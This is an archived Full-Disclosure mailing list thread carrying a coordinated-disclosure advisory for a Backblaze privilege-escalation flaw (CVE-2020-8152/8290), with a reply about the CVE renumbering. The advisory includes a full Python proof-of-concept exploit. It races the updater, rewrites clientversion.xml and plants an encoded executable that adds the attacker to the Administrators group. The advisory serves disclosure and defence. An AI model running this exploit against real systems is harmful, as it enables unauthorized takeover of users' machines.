lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Thu, 24 Dec 2020 12:28:06 -0600
From: Jason Geffner <geffner@...il.com>
To: Reed Loden <reed@...dloden.com>
Cc: fulldisclosure@...lists.org
Subject: Re: [FD]
	CVE-2020-8152 – Elevation of Privilege in Backblaze

Thanks, Reed. I've updated the GitHub repository name to reflect this
change. The detailed write-up can now be found at
https://github.com/geffner/CVE-2020-8290/blob/master/README.md.

On Tue, Dec 22, 2020 at 3:52 AM Reed Loden <reed@...dloden.com> wrote:

> Due to a process fail, this CVE ID was accidentally reused for another
> vulnerability.
>
> The updated CVE ID for this issue is CVE-2020-8290.
>
> We apologize to Jason and others for the inconvenience caused by this
> error.
>
> Happy holidays,
> ~reed
> (for HackerOne)
>
> On Fri, Sep 11, 2020 at 10:16 AM Jason Geffner <geffner@...il.com> wrote:
>
>> CVE-2020-8152 – Elevation of Privilege in Backblaze
>> ---------------------------------------------------
>>
>> Summary
>> =======
>> Name: Elevation of Privilege in Backblaze
>> CVE: CVE-2020-8152
>> Discoverer: Jason Geffner
>> Vendor: Backblaze
>> Product: Backblaze for Windows and Backblaze for macOS
>> Risk: High
>> Discovery Date: 2020-03-13
>> Publication Data: 2020-09-08
>> Fixed Version: 7.0.0.439
>>
>> Introduction
>> ============
>> Per Wikipedia, Backblaze is "an online backup tool that allows Windows
>> and macOS
>> users to back up their data to offsite data centers. The service is
>> designed for
>> businesses and end-users, providing unlimited storage space and supporting
>> unlimited file sizes."
>>
>> Vulnerable versions of Backblaze for Windows and Backblaze for macOS
>> contain a
>> high risk vulnerability that allows a local unprivileged attacker to
>> perform an
>> elevation of privilege (EOP) attack to become SYSTEM/root.
>>
>> Vulnerability
>> =============
>> The Backblaze client's service process, named bzserv, runs as SYSTEM on
>> Windows
>> and as root on macOS. Every couple of hours, bzserv runs a program named
>> bztransmit (executed as SYSTEM/root) to download an XML file named
>> clientversion.xml from Backblaze's data center to see if a newer version
>> of the
>> Backblaze client is available for download, and if so, downloads the
>> latest
>> client version's installer from Backblaze's data center. The downloaded
>> installer is saved to the %ProgramData%\Backblaze\bzdata\bzupdates
>> directory in
>> Windows and to the /Library/Backblaze.bzpkg/bzdata/bzupdates or
>> /Library/Backblaze/bzdata/bzupdates directory on macOS. Once downloaded,
>> bztransmit runs the downloaded installer as SYSTEM via ShellExecute() or
>> as root
>> via system().
>>
>> On Windows, the %ProgramData%\Backblaze\bzdata directory is created at
>> install-time such that local unprivileged users have read- and
>> write-access. The
>> bztransmit process creates the bzupdates child directory while it's
>> running as
>> SYSTEM, and unprivileged users do not have read- or write-access to this
>> child
>> directory once it's created. However, the bztransmit process does not
>> securely
>> verify the ACL on this bzupdates directory if it already existed, nor
>> does it
>> securely update the ACL if the directory already existed. As such, a local
>> unprivileged attacker can create the
>> %ProgramData%\Backblaze\bzdata\bzupdates
>> directory prior to Backblaze's installation, or create the bzupdates child
>> directory under %ProgramData%\Backblaze\bzdata after Backblaze is
>> installed and
>> before bztransmit creates the bzupdates child directory. This allows the
>> attacker to be the owner of the bzupdates directory and have full control
>> over
>> the files in that directory. Thus, the attacker can modify or replace the
>> downloaded update executable after it's downloaded and before it's
>> executed,
>> thereby allowing for local EOP.
>>
>> On macOS, the /Library/Backblaze.bzpkg/bzdata directory (or
>> /Library/Backblaze/bzdata) is created at install-time with permissions
>> 0777
>> (drwxrwxrwx), such that local unprivileged users have read- and
>> write-access.
>> The bztransmit process creates the bzupdates child directory with
>> permissions
>> 0755 (drwxr-xr-x) while it's running as root, and unprivileged users do
>> not have
>> read- or write-access to this child directory once it's created. However,
>> the
>> bztransmit process does not securely verify the permissions on this
>> bzupdates
>> directory if it already existed, nor does it securely update the
>> permissions if
>> the directory already existed. As such, a local unprivileged attacker can
>> create
>> the bzupdates child directory under /Library/Backblaze.bzpkg/bzdata (or
>> /Library/Backblaze/bzdata) after Backblaze is installed and before
>> bztransmit
>> creates the bzupdates child directory. This allows the attacker to be the
>> owner
>> of the bzupdates directory and have full control over the files in that
>> directory. Thus, the attacker can modify or replace the downloaded update
>> executable after it's downloaded and before it's executed, thereby
>> allowing for
>> local EOP.
>>
>> Proof of Concept
>> ================
>> Video: https://youtu.be/OpC6neWd2aM
>>
>> The above video shows two concurrent logins to the same VM: an
>> administrator's
>> session on the left, and an unprivileged attacker's session on the right.
>> You
>> can see the following steps in the in the video:
>>
>> 1. Attacker runs "net localgroup Administrators" to show that the
>> unprivileged
>>    attacker's account (named Attacker) is not a member of the
>> Administrators
>>    group.
>> 2. Attacker runs "python eop.py" (whose source code is below).
>> 3. The administrator then installs Backblaze.
>> 4. Six minutes later, the installed Backblaze service downloads
>>    clientversion.xml, which the exploit overwrites.
>> 5. One minute later, the installed Backblaze service downloads the updater
>>    executable, which the exploit overwrites.
>> 6. The Backblaze service then runs the overwritten updater, which adds the
>>    Attacker account to the Administrators group.
>> 7. The attacker then runs "net localgroup Administrators" again to show
>> that the
>>    Attacker account has indeed been added to the Administrators group.
>> Local
>>    privilege elevation complete.
>>
>> ________________________________________________________________________________
>> # Licensed under the Apache License, Version 2.0 (the "License");
>> # you may not use this file except in compliance with the License.
>> # You may obtain a copy of the License at
>> #
>> #     http://www.apache.org/licenses/LICENSE-2.0
>> #
>> # Unless required by applicable law or agreed to in writing, software
>> # distributed under the License is distributed on an "AS IS" BASIS,
>> # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
>> # See the License for the specific language governing permissions and
>> # limitations under the License.
>>
>> """Proof-of-concept exploit for CVE-2020-8152 for Windows."""
>>
>>
>> __author__ = "geffner@...il.com (Jason Geffner)"
>> __version__ = "1.0"
>>
>>
>> import base64
>> import bz2
>> import ctypes
>> import os
>> import platform
>> import re
>> import subprocess
>> import time
>>
>>
>> def wait_for_filesystem_object(file_path):
>>     if os.path.exists(file_path):
>>         return
>>     parent_directory = os.path.dirname(file_path)
>>     if not os.path.exists(parent_directory):
>>         wait_for_filesystem_object(parent_directory)
>>     buffer = ctypes.create_string_buffer(1024)
>>     bytes_returned = ctypes.c_ulong()
>>     if "." in os.path.basename(file_path):
>>         notify_filter = 8
>>     else:
>>         notify_filter = 2
>>     h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None,
>> 3,
>>                                            0x02000000, None)
>>     while not os.path.exists(file_path):
>>         ctypes.windll.kernel32.ReadDirectoryChangesW(
>>             h, ctypes.byref(buffer), 1024, False, notify_filter,
>>             ctypes.byref(bytes_returned), None, None)
>>     ctypes.windll.kernel32.CloseHandle(h)
>>
>>
>> def get_exe_content():
>>     #
>>     # Returns the content of an EXE that will add the attacker to the
>>     # Administrators group. Based on
>>     # https://github.com/corkami/pocs/blob/master/PE/tiny.asm
>>     #
>>     exe_content = bz2.decompress(base64.b85decode(
>>
>> "LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
>>
>> "~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
>>         "p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
>>     exe_content += ("NET LOCALGROUP Administrators " +
>>                     f"{os.environ['USERDOMAIN']}\\" +
>>                     f"{os.environ['USERNAME']} /ADD").encode()
>>     return exe_content
>>
>>
>> def am_i_admin():
>>     bufptr = ctypes.c_void_p()
>>     ctypes.windll.netapi32.NetUserGetInfo(
>>         os.environ["USERDOMAIN"], os.environ["USERNAME"], 1,
>>         ctypes.byref(bufptr))
>>     if platform.architecture()[0] == "32bit":
>>         usri1_priv = ctypes.string_at(bufptr, 13)[-1]
>>     else:
>>         usri1_priv = ctypes.string_at(bufptr, 21)[-1]
>>     ctypes.windll.netapi32.NetApiBufferFree(bufptr)
>>     return usri1_priv == 2
>>
>>
>> def poc():
>>     print(f"Running as user: {os.environ['USERNAME']}")
>>
>>     # Ensure that we're running as an unprivileged user.
>>     print("Testing for administrative privileges...")
>>     if am_i_admin():
>>         print("You're already an administrator. Bye!")
>>         return
>>     print("You're a non-administrative user.")
>>
>>     # Raise our process's priority to try to win our race condition.
>>     pid = ctypes.windll.kernel32.GetCurrentProcessId()
>>     h = ctypes.windll.kernel32.OpenProcess(0x200, False, pid)
>>     ctypes.windll.kernel32.SetPriorityClass(h, 0x100)
>>     ctypes.windll.kernel32.CloseHandle(h)
>>
>>     # Create the bzupdates directory so that we are the owner of it.
>>     bzupdates =
>> f"{os.environ['ProgramData']}\\Backblaze\\bzdata\\bzupdates"
>>     if os.path.exists(bzupdates):
>>         print("Backblaze's bzupdates directory was already created.
>> You're " +
>>               "too late!")
>>         return
>>     os.makedirs(bzupdates)
>>
>>     #
>>     # Get the installed hguid value so that we can force an update via
>>     # clientversion.xml.
>>     #
>>     if platform.architecture()[0] == "32bit":
>>         bzinstall =
>> f"{os.environ['ProgramFiles']}\\Backblaze\\bzinstall.xml"
>>     else:
>>         bzinstall = f"{os.environ['ProgramFiles(x86)']}" +\
>>                     "\\Backblaze\\bzinstall.xml"
>>     if not os.path.exists(bzinstall):
>>         print("Waiting for Backblaze's installer to assign an hguid
>> value.")
>>         wait_for_filesystem_object(bzinstall)
>>         print("Backblaze assigned an hguid value.")
>>     with open(bzinstall) as f:
>>         xml = f.read()
>>     hguid = re.search('hguid="([^"]+)"', xml).group(1)
>>
>>     # Force update via clientversion.xml.
>>     if not os.path.exists(f"{bzupdates}\\clientversion.xml"):
>>         print("Waiting for Backblaze to download clientversion.xml.")
>>         wait_for_filesystem_object(f"{bzupdates}\\clientversion.xml")
>>         print("clientversion.xml now downloaded.")
>>     with open(f"{bzupdates}\\clientversion.xml", "r+") as f:
>>         xml = f.read()
>>         xml = re.sub('update_hguids_firstchar=".',
>>                      f'update_hguids_firstchar="{hguid[0]}', xml)
>>         xml = xml.replace('win32_version="', 'win32_version="1')
>>         f.truncate(0)
>>         f.seek(0)
>>         f.write(xml)
>>     print("clientversion.xml modified to force update next time Backblaze
>> " +
>>           "considers updating.")
>>
>>     # Don't allow SYSTEM to overwrite clientversion.xml.
>>     subprocess.run(["icacls.exe", f"{bzupdates}\\clientversion.xml",
>>                     "/setowner", f"{os.environ['USERNAME']}"])
>>     print()
>>     subprocess.run(f'echo y| cacls.exe "{bzupdates}\\clientversion.xml" '
>> +
>>                    '/S:D:PAI(A;;FA;;;OW)(A;;GRGX;;;SY)', shell=True)
>>     print()
>>
>>     #
>>     # Create an executable to replace the downloaded update, which will
>> elevate
>>     # our privileges.
>>     #
>>     exe_content = get_exe_content()
>>     with open(f"{bzupdates}\\eop.exe", "wb") as f:
>>         f.write(exe_content)
>>
>>     #
>>     # Wait for update to download and overwrite it with attacker's
>> executable.
>>     # In this PoC we use iexpress.exe (built into Windows) to create an
>> EXE that
>>     # adds the attacker to the Administrators group, but an attacker could
>>     # supply any executable content they like.
>>     #
>>     exe = re.search('win32_url=.+?file=([^"]+)"', xml).group(1)
>>     print(f"Waiting for Backblaze to download {exe}.")
>>     wait_for_filesystem_object(f"{bzupdates}\\{exe}")
>>     os.replace(f"{bzupdates}\\eop.exe", f"{bzupdates}\\{exe}")
>>     print(f"{exe} downloaded and replaced.")
>>     print(f"{exe} should now get executed as SYSTEM.")
>>
>>     for i in range(5):
>>         if am_i_admin():
>>             print("Success! You're now an administrator!")
>>             return
>>         time.sleep(1)
>>     print("Exploit failed. We probably lost the race-condition when " +
>>           f"overwriting {exe}.")
>>
>>
>> if __name__ == "__main__":
>>     poc()
>>
>> ________________________________________________________________________________
>>
>> Mitigation
>> ==========
>> Backblaze patched this vulnerability in Backblaze version 7.0.0.439.
>>
>> Discoverer
>> ==========
>> This vulnerability was discovered and reported to Backblaze by Jason
>> Geffner via
>> HackerOne.
>>
>> Timeline
>> ========
>> 2020-03-13 - Vulnerability discovered and reported to Backblaze via
>> HackerOne
>> 2020-03-26 - HackerOne verified vulnerability
>> 2020-04-22 - CVE-2020-8152 assigned
>> 2020-04-22 - Build 7.0.0.439 released
>> 2020-04-22 - Vulnerability mitigation verified
>> 2020-04-23 - Public disclosure requested
>> 2020-09-08 - Public disclosure
>>
>> _______________________________________________
>> Sent through the Full Disclosure mailing list
>> https://nmap.org/mailman/listinfo/fulldisclosure
>> Web Archives & RSS: http://seclists.org/fulldisclosure/
>
>

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ